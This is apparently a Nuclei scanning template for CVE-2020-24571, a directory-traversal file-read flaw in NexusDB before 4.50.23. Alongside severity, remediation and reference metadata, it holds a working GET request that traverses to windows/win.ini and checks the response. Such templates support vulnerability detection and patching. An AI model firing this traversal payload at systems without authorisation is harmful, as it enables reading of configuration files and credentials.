id: CVE-2020-24571

info:
  name: NexusDB <4.50.23 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal and local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data.
  remediation: |
    Upgrade NexusDB to version 4.50.23 or later to mitigate the LFI vulnerability.
  reference:
    - https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24571
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-24571
    cwe-id: CWE-22
    epss-score: 0.9242
    epss-percentile: 0.99743
    cpe: cpe:2.3:a:nexusdb:nexusdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nexusdb
    product: nexusdb
  tags: cve,cve2020,nexusdb,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[extensions]"

      - type: status
        status:
          - 200
# digest: 490a0046304402207fbdbc9e44c5e97c46c6ab6f29241bc9cf3cee1c575b0875752ca2ae20af299e02204979588017df38b4f39f286b1d6dfea40e04195be5401e6ede0f9e819a568f07:922c64590222798bb761d5b6d8e72950